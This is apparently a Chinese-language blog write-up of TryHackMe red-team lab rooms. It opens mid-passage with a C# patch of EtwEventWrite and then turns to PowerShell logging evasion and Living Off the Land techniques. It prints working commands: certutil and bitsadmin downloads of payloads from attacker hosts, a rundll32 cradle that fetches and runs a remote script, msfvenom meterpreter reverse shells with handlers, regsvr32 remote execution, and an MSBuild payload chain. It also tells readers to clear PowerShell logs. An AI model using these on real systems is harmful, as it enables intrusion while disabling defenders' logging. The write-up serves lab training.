var etwFunction = Win32.GetProcAddress(ntdll, "EtwEventWrite");
// 修改内存区域的权限
uint oldProtect;
Win32.VirtualProtect(
etwFunction,
(UIntPtr)patch.Length,
0x40,
out oldProtect
);
// 写入我们准备好的 opcode
patch(new byte[] { 0xc2, 0x14, 0x00 });
Marshal.Copy(
patch,
0,
etwEventSend,
patch.Length
);
// 恢复内存区域的权限
VirtualProtect(etwFunction, 4, oldProtect, &oldOldProtect);
// 刷新指令缓存
// 强制 CPU 丢弃旧的函数指令,以确保补丁能够立即生效
Win32.FlushInstructionCache(
etwFunction,
NULL
);
组策略
ETW 提供了强大的日志功能,但并非所有功能都默认开启。 为了避免生成海量日志,一些高频度记录的功能(如 PowerShell 日志)需要通过 GPO(组策略) 明确启用。
模块日志记录和脚本块日志记录提供程序都通过组策略启用,具体为 Administrative Templates -> Windows Components -> Windows PowerShell
。同样的,系统程序集也是和用户同级加载的,所以可以通过反射修改 PowerShell 提供程序的组策略。
具体步骤如下:
- 从实用程序缓存中获取组策略设置。
- 修改通用提供程序为 0。
- 修改调用或模块定义。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# ====================================================================
# PowerShell 日志记录规避脚本
# 目的:通过修改 PowerShell 的组策略设置,来禁用或减少 ETW 日志。
# 该脚本使用反射技术,直接操作内存中的私有字段。
# ====================================================================
# 第 1 步:使用反射获取组策略设置的私有字段
# --------------------------------------------------------------------
# 获取 "System.Management.Automation.Utils" 类型的引用。
# 该类型包含了我们想要修改的私有字段。
$UtilsType = [ref].Assembly.GetType('System.Management.Automation.Utils')
# 通过反射,获取名为 "cachedGroupPolicySettings" 的私有静态字段。
# 这个字段存储了 PowerShell 当前加载的组策略设置。
$cachedGroupPolicySettingsField = $UtilsType.GetField('cachedGroupPolicySettings', 'NonPublic,Static')
# 获取该字段的当前值。$null 用于获取静态字段的值。
$GroupPolicySettings = $cachedGroupPolicySettingsField.GetValue($null)
# 第 2 步:修改脚本块日志(事件 ID 4104)设置
# --------------------------------------------------------------------
# 将 "EnableScriptBlockLogging" 的值设为 0。
# 这会禁用脚本块日志记录,从而阻止记录完整的脚本内容。
# 这对攻击者最重要,因为它可以隐藏恶意脚本。
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0
# 第 3 步:修改模块日志(事件 ID 4103)设置
# --------------------------------------------------------------------
# 将 "EnableScriptBlockInvocationLogging" 的值设为 0。
# 这会禁用模块日志记录,从而阻止记录命令调用和参数。
# 由于 4103 日志通常非常多,禁用它可以减少噪音,使攻击者活动更难被发现。
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0
同样用这个命令来测试是否生效
1
2
3
4
5
# 获取 4104 Event ID 的日志条目
Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4104} | Measure | % Count
# 从指定的日志文件中,找出所有目标端口为 4444 的网络连接事件
Get-WinEvent -Path C:\Users\THM-Analyst\Desktop\Scenarios\Practice\Hunting_Metasploit.evtx -FilterXPath '*/System/EventID=3 and */EventData/Data[@Name="DestinationPort"] and */EventData/Data=4444'
滥用日志管道
在 PowerShell 中,每个模块或管理单元(snap-in)都有一个可供任何人使用的设置,用于修改其日志记录功能。根据微软文档,“当 LogPipelineExecutionDetails
属性值为 TRUE
($true
)时,Windows PowerShell 会将该会话中的 cmdlet 和函数执行事件写入事件查看器中的 PowerShell 日志。”攻击者可以在任何 PowerShell 会话中将此值更改为 $false
,以禁用该特定会话的模块日志记录。微软文档甚至指出了从用户会话中禁用日志记录的能力:“要禁用日志记录,请使用相同的命令序列将属性值设置为 FALSE
($false
)。”
从宏观上看,日志管道技术可以分解为四个步骤:
- 获取目标模块。
- 将模块的执行细节设置为
$false
。 - 获取模块管理单元。
- 将管理单元的执行细节设置为
$false
。
1
2
3
4
$module = Get-Module Microsoft.PowerShell.Utility # 获取目标模块
$module.LogPipelineExecutionDetails = $false # 将模块的执行细节设置为 false
$snap = Get-PSSnapin Microsoft.PowerShell.Core # 获取目标 ps-snapin
$snap.LogPipelineExecutionDetails = $false # 将 ps-snapin 的执行细节设置为 false
上述脚本块可以附加到任何 PowerShell 脚本中,或在会话中运行,以禁用当前已导入模块的日志记录。
实践
随便执行一个绕过方法,因为都是注入到当前的 PowerShell 进程里面的,所以不会影响环境,然后去日志查看器里面清理一下 PowerShell 的操作日志就行了。
Living Off the Land 土生土长
这个房间名称有意思,实际教的内容也是很相关的,他教我们利用系统内置的应用达成我们的目的,这在渗透环境中是非常有用的,因为如果从我们的环境里面拉工具下来风险挺大的,利用内置的工具就相当于就地取材了
Windows Sysinternals
Windows Sysinternals 是一套工具和高级系统实用程序,旨在帮助 IT 专业人员在各种高级主题中管理、排查和诊断 Windows 操作系统。
以下是一些常用的 Windows Sysinternals 工具:
AccessChk | Helps system administrators check specified access for files, directories, Registry keys, global objects, and Windows services. |
---|---|
PsExec | A tool that executes programs on a remote system. |
ADExplorer | An advanced Active Directory tool that helps to easily view and manage the AD database. |
ProcDump | Monitors running processes for CPU spikes and the ability to dump memory for further analysis. |
ProcMon | An essential tool for process monitoring. |
TCPView | A tool that lists all TCP and UDP connections. |
PsTools | The first tool designed in the Sysinternals suite to help list detailed information. |
Portmon | Monitors and displays all serial and parallel port activity on a system. |
Whois | Provides information for a specified domain name or IP address. |
有关 Sysinternals 套件的更多信息,您可以在此访问 Microsoft Docs 上该工具的网页.
在线 Sysinternals
Windows Sysinternals 的一个重要特点是无需安装。微软提供了一个 Windows Sysinternals 服务——Sysinternals Live,提供多种使用和运行这些工具的方式。我们可以通过以下方式访问和使用它们
\\live.sysinternals.com\tools
如果你有兴趣进一步了解 Windows Sysinternals,我们建议你熟悉以下额外资源:
- TryHackMe room: Sysinternals.
- Microsoft Sysinternals Resources website.
LOLBAS 项目
LOLBAS 代表 “利用本地二进制文件和脚本生存”(Living Off the Land Binaries And Scripts)。该项目的主要目标是收集并记录由微软签名并内置的、作为“利用本地资源”技术使用的工具,包括二进制文件、脚本和库。
LOLBAS 项目是一个由社区驱动的资料库,收集了可用于红队用途的二进制文件、脚本和库。它允许基于二进制文件、函数、脚本和 ATT&CK 信息进行搜索。上图显示了目前 LOLBAS 项目页面的样貌。如果你想了解更多关于该项目的详细信息,可以访问该项目的官网:https://lolbas-project.github.io/
LOLBAS 网站提供了一个方便的搜索栏来查询所有可用数据。直接搜索二进制文件很简单;包含二进制名称即可显示结果。然而,如果我们想查找特定函数,则需要在函数名前加上 /。例如,如果我们要查找所有执行函数,应使用 /execute 同样,为了基于类型进行查找,我们应使用 # 符号后跟类型名称。以下是项目中包含的类型:
- Script 脚本
- Binary 二进制
- Libraries 库
- OtherMSBinaries 其他 MS 二进制文件
Tools Criteria 工具标准
要被认定为“原生系统工具(Living Off the Land)”技巧并被纳入 LOLBAS 项目,工具必须满足特定标准:
- 由微软签名、属于操作系统原生或从微软下载的文件。
- 具有额外的、有趣的、未按已知用例覆盖的非预期功能。
- 对高级持续性威胁(APT)或红队活动有利。
如果你发现了符合上面条件的二进制文件,可以去他的 repo 里面贡献一下。
Interesting Functionalities 有趣的功能
LOLBAS 项目接受符合以下功能之一的工具提交:
- Arbitrary code execution 任意代码执行
- File operations, including downloading, uploading, and copying files.
文件操作,包括下载、上传和复制文件。 - Compiling code 正在编译代码
- Persistence, including hiding data in Alternate Data Streams (ADS) or executing at logon.
持久性,包括在替代数据流(ADS)中隐藏数据或在登录时执行。 - UAC bypass UAC 绕过
- Dumping process memory 转储进程内存
- DLL injection DLL 注入
文件操作
本任务将重点介绍一些有趣的“借助现有系统工具(Living Off the Land)”技术,这些技术旨在用于文件操作,包括下载、上传和编码。
Certutil
Certutil 是 Windows 内置的证书服务工具,该工具的正常用途是检索证书信息。人们发现 certutil.exe 可以传输和编码与证书服务无关的文件。MITRE ATT&CK 框架将该技术标识为入口工具传输(T1105)
为了说明这一点,我们可以举个例子:使用 certutil.exe
从攻击者的 Web 服务器下载文件并将其存储在 Windows 的临时文件夹中,使用下面的命令:
1
certutil -URLcache -split -f http://Attacker_IP/payload.exe C:\Windows\Temp\payload.exe
- -urlcache 显示 URL,启用命令中可使用的 URL 选项
- -split -f 用于从提供的 URL 拆分并强制获取文件
此外,certutil.exe 可用作编码工具,我们可以用它对文件进行编码并解码文件内容。
1
2
3
certutil -encode payload.exe Encoded-payload.txt
# 解码
certutil -decode enc_thm_0YmFiOG_file.txt plain.txt
更多信息可以参考:Microsoft Docs: CertUtil
BITSAdmin
bitsadmin
工具是一个系统管理员实用程序,可用于创建、下载或上传后台智能传输服务(BITS)任务并检查其进度。BITS 是一种用于从 HTTP 网络服务器和 SMB 服务器下载和上传文件的低带宽、异步方法。
攻击者可能滥用 BITS 任务在被入侵的机器上下载并执行恶意 payload。有关该技术的更多信息,您可以访问 ATT&CK T1197 页面。
1
bitsadmin.exe /transfer /Download /priority Foreground http://10.6.4.118/payload.exe c:\Users\thm\Desktop\payload.exe
- /Transfer 使用转移选项
- /Download 我们正在使用下载类型指定传输
- /Priority 优先级设置为在前台运行
有关 bitsadmin 工具的更多信息,请参阅 Microsoft Docs。
FindStr
使用 findstr.exe 从网络内的 SMB 共享文件夹下载远程文件,方法如下
1
C:\Users\thm>findstr /V dummystring \\MachineName\ShareFolder\test.exe > c:\Windows\Temp\test.exe
/V
打印出不包含所提供字符串的行。dummystring
要搜索的文本;在这种情况下,我们提供一个不得在文件中出现的字符串。> c:\Windows\Temp\test.exe
将输出重定向到目标机器上的一个文件。
请注意,其他工具也可用于该文件操作。我们建议访问 LOLBAS 以查看它们。
文件执行
除了常见的如通过命令行 cmd.exe
或桌面快捷方式启动之外,攻击者还会滥用合法的系统二进制文件来执行载荷。
这种方法被称为 “已签名二进制代理执行”(Signed Binary Proxy Execution) 或 “间接命令执行”(Indirect Command Execution)。根据 MITRE ATT&CK 框架,这种技术的核心是利用操作系统自带的、通常被认为是“可信”的工具来生成并执行恶意载荷。
这样做有两个主要目的:
- 隐藏恶意载荷的进程:使恶意活动看起来像是合法的系统进程。
- 规避安全防御:利用这些已签名的、白名单内的系统工具,可以有效绕过安全产品的检测和防御。
File Explorer
文件资源管理器是 Windows 的文件管理器和系统组件。人们发现使用文件资源管理器的可执行文件可以执行其他 .exe 文件。这种技术称为间接命令执行(Indirect Command Execution),即可以利用并滥用 explorer.exe 工具从受信任的父进程启动恶意脚本或可执行文件。
explorer.exe 二进制文件位于:
- C:\Windows\explorer.exe for the Windows 64-bit version.
- C:\Windows\SysWOW64\explorer.exe for the Windows 32-bit version.
为了以 explorer.exe 作为父进程创建子进程,我们可以执行以下命令:
1
explorer.exe /root,"C:\Windows\System32\calc.exe"
WMIC
Windows Management Instrumentation (WMIC) 是一个管理 Windows 组件的命令行工具。有人发现 WMIC 也被用于执行二进制文件以规避防御措施。MITRE ATT&CK 框架将该技术称为签名二进制代理执行 (T1218)
1
wmic.exe process call create calc
Rundll32
Rundll32 是微软内置的工具,用于在操作系统内加载并运行动态链接库(DLL)文件。红队可以滥用并利用 rundll32.exe 来运行任意 payload 并执行 JavaScript 与 PowerShell 脚本。MITRE ATT&CK 框架将此识别为签名二进制代理执行:Rundll32,并将其标识为 T1218。
rundll32.exe 二进制文件位于:
- C:\Windows\System32\rundll32.exe for the Windows 64-bit version.
- C:\Windows\SysWOW64\rundll32.exe for the Windows 32-bit version.
使用包含 JavaScript 组件 eval() 的 rundll32.exe
二进制文件来执行 calc.exe
。
1
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
我们也可以使用 rundll32.exe
来执行 PowerShell 脚本。下面的命令运行一个 JavaScript,该脚本通过 rundll32.exe
执行一个 PowerShell 脚本,从远程网站下载内容。
1
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://AttackBox_IP/script.ps1');");
应用白名单绕过
应用白名单是微软终端安全功能,用于实时阻止恶意和未授权程序的执行。应用白名单基于规则,指定允许出现在操作系统上并被执行的已批准应用或可执行文件列表。
Regsvr32
Regsvr32 是微软的一个命令行工具,用于在 Windows 注册表中注册和注销动态链接库(DLL)。regsvr.exe 可执行文件位于:
- C:\Windows\System32\regsvr32.exe for the Windows 32 bits version
- C:\Windows\SysWOW64\regsvr32.exe for the Windows 64 bits version
除了其预期用途外,regsvr32.exe
二进制文件还可以用于执行任意二进制文件并绕过 Windows 应用白名单。根据 Red Canary 的报告,regsvr32.exe
是第三大流行的 ATT&CK 技术。对手利用 regsvr32.exe
在本地或远程执行本机代码或脚本。regsvr32.exe
使用的技术利用了受信任的 Windows 操作系统组件并在内存中执行,这也是该技术常被用来绕过应用白名单的原因之一。
让我们使用 msvenom 创建一个恶意的 DLL 文件,并设置 Metasploit 监听器以接收反向 shell。我们将创建一个适用于 32 位操作系统的恶意文件。我们将使用 regsvr32.exe 应用白名单绕过技术在目标系统上运行命令。
1
2
3
4
5
6
7
8
msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f dll -a x86 > live0fftheland.dll
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.11.141.2
set LPORT 443
exploit
然后传到靶机上,不传也行。
1
2
3
c:\Windows\System32\regsvr32.exe c:\Users\thm\Downloads\live0fftheland.dll
# 远程执行
c:\Windows\System32\regsvr32.exe /s /n /u /i:http://example.com/file.sct Downloads\live0fftheland.dll
第二个选项,这是一个更高级的命令,我们指示 regsvr32.exe 运行:
/s
:静默模式(不显示消息)/n
:不要调用 DLL 注册服务器/i
: 因为我们用了 /n,所以改用另一台服务器/u
:使用未注册方法运行
如果我们想创建一个 64 位的 DLL 版本,需要在 msfvenom 命令中指定,并在受害者机器上使用位于 C:\Windows\SysWOW64\regsvr32.exe 的 64 位 regsvr32.exe
来运行它。
Bourne Again Shell (Bash)
在 2016 年,微软为 Windows 10、11 和 Server 2019 增加了对 Linux 环境的支持。此功能称为 Windows 子系统用于 Linux(WSL),并存在两个版本:WSL1 和 WSL2。WSL 是在操作系统上运行的通过 Hyper-V 虚拟化的 Linux 发行版,支持一部分 Linux 内核和系统调用。此功能是用户可以安装并与之交互的附加组件。作为 WSL 的一部分,bash.exe 是用于与该 Linux 环境交互的微软工具。
人们找到了利用该 Microsoft 签名二进制文件来执行 payload 并绕过 Windows 应用程序白名单的方法。通过执行 bash.exe -c "path-to-payload"
,我们可以执行任何未签名的 payload。ATT&CK 将这称为间接命令执行(Indirect Command execution)技术,攻击者滥用 Windows 工具实用程序以获取命令执行。有关此技术的更多信息,您可以访问 T1202 ATT&CK 网站。
需要在 Windows 10 中启用并安装 Windows 子系统以使用 bash.exe
二进制文件。此外,附带的虚拟机由于嵌套虚拟化限制未启用该 Linux 子系统。
其他技术
本节提了几种有趣的技术,可用于初始访问或保活。
Shortcuts 快捷方式
当用户点击快捷方式文件时,被引用的文件或应用程序会被执行。红队经常利用此技术来获得初始访问权限、提升权限或实现持久性。MITRE ATT&CK 框架将此快捷方式修改技术称为 T1547,攻击者通过创建或修改快捷方式来利用该技术。
要使用快捷方式修改技术,我们可以将目标部分设置为使用以下命令来执行文件:
- Rundll32
- Powershell
- Regsvr32
- 硬盘上的可执行文件
房间里给的 demo 是我们之前用 rundll32.exe
执行计算器的,我们要复现直接把之前的那条命令粘贴到目标里面的
这里有几个快捷方式修改的 demo:https://github.com/theonlykernel/atomic-red-team/blob/master/atomics/T1023/T1023.md
No PowerShell!
2019 年,Red Canary 发布了一份威胁检测报告,指出 PowerShell 是用于恶意活动的最常见技术。因此,各组织开始监控或阻止 powershell.exe 的执行。结果,对手开始寻找在不直接启动 powershell.exe 的情况下运行 PowerShell 代码的其他方法。
PowerLessShell 是一个基于 Python 的工具,用于生成在目标机器上运行的恶意代码,同时不会显示 PowerShell 进程的实例。PowerLessShell 依赖滥用 Microsoft Build Engine (MSBuild) —— 一个用于构建 Windows 应用程序的平台 —— 来执行远程代码。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 下载项目文件
git clone https://github.com/Mr-Un1k0d3r/PowerLessShell.git
# 生成一个 PowerShell payload
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=10.11.141.2 LPORT=4443 -f psh-reflection > liv0ff.ps1
# 启动好 MSF handler
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_winhttps; set lhost 10.11.141.2;set lport 4443;exploit"
# 生成 csproj 文件
python2 PowerLessShell.py -type powershell -source /tmp/liv0ff.ps1 -output liv0ff.csproj
# 下载文件
bitsadmin.exe /transfer /Download /priority Foreground http://10.6.4.118/liv0ff.csproj c:\Users\thm\Desktop\liv0ff.csproj
# 目标机器上编译就执行了
c:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe c:\Users\thm\Desktop\liv0ff.csproj
我跑起来了,拿到 flag,但是攻击机上没有 shell 回连,不知道啥情况。
现实场景
2017 年,Windows Defender 高级威胁防护(Windows Defender ATP)研究团队发现了一种名为 Astaroth 的无文件恶意软件。无文件恶意软件指的是在系统中运行并执行但不写入磁盘的恶意软件。该恶意软件在受害设备的内存中执行其所有功能。
Astaroth 被认为是一种信息窃取器,会从受害用户处获取敏感信息,例如账户凭据、按键记录和其他数据,并将其发送给攻击者。该恶意软件依赖多种先进技术来执行不同功能,如反调试、反虚拟化、反仿真技巧、进程掏空(process hollowing)、NTFS 备用数据流(ADS)以及“借用现有系统工具”(Living off the land)二进制文件。
在初始访问阶段,攻击者依赖包含恶意附件文件的垃圾邮件活动。所附文件是一个 LNK 快捷方式文件,一旦受害者点击它,将导致以下情况:
- 执行了一个 WMIC 命令以下载并运行 Javascript 代码。
- 滥用 BITSadmin 从指挥控制服务器下载多个二进制文件。有趣的是,在某些情况下,恶意软件会使用 YouTube 频道描述来隐藏它们的 C2 服务器命令。
- 使用 BITSadmin、ADS 技术,将其二进制文件隐藏在系统内以实现持久性。
- 使用 Certutil 工具将几个下载的有效载荷解码为 DLL 文件。
- 这些 DLL 文件使用 Regsvr32 执行。
有关该恶意软件及其检测的更多详细信息,建议查阅以下参考资料:
- Astaroth: Banking Trojan
- Microsoft Discovers Fileless Malware Campaign Dropping Astaroth Info Stealer
- Astaroth malware hides command servers in YouTube channel descriptions
总结
在本房间中,我们介绍了“就地取材”(Living Off the Land)的一般概念,并回顾了一些在红队演练中见到和使用的示例。就地取材技术可用于多种目的,包括侦察、文件操作、执行二进制文件,以及实现持久化和绕过安全措施。
其他资源
- GTFOBins - The Linux version of the LOLBAS project.
- Astaroth: Banking Trojan - A real-life malware analysis where they showcase using the Living Off the Land technique used by Malware.